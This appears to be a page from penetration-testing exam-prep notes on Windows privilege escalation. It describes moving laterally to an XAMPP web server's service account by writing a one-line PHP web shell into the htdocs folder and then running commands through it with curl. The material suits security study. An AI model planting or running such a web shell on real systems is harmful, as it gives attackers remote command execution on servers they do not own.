> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/windows-privilege-escalation/xampp.md).

# xampp

If there's a web server service account like **"apache"** or **"svc\_apache"**, it's possible to move laterally to them if you have write permissions in `C:\xampp\htdocs` or in any sub folders

```
echo meow > C:\xampp\htdocs\catz.txt
```

Create a web shell

```php
<?php echo shell_exec($_GET['cmd']); ?>
```

Download it to `C:\xampp\htdocs`

Execute on the web servers root

```
curl http://192.168.219.169/cmd.php?cmd=whoami
```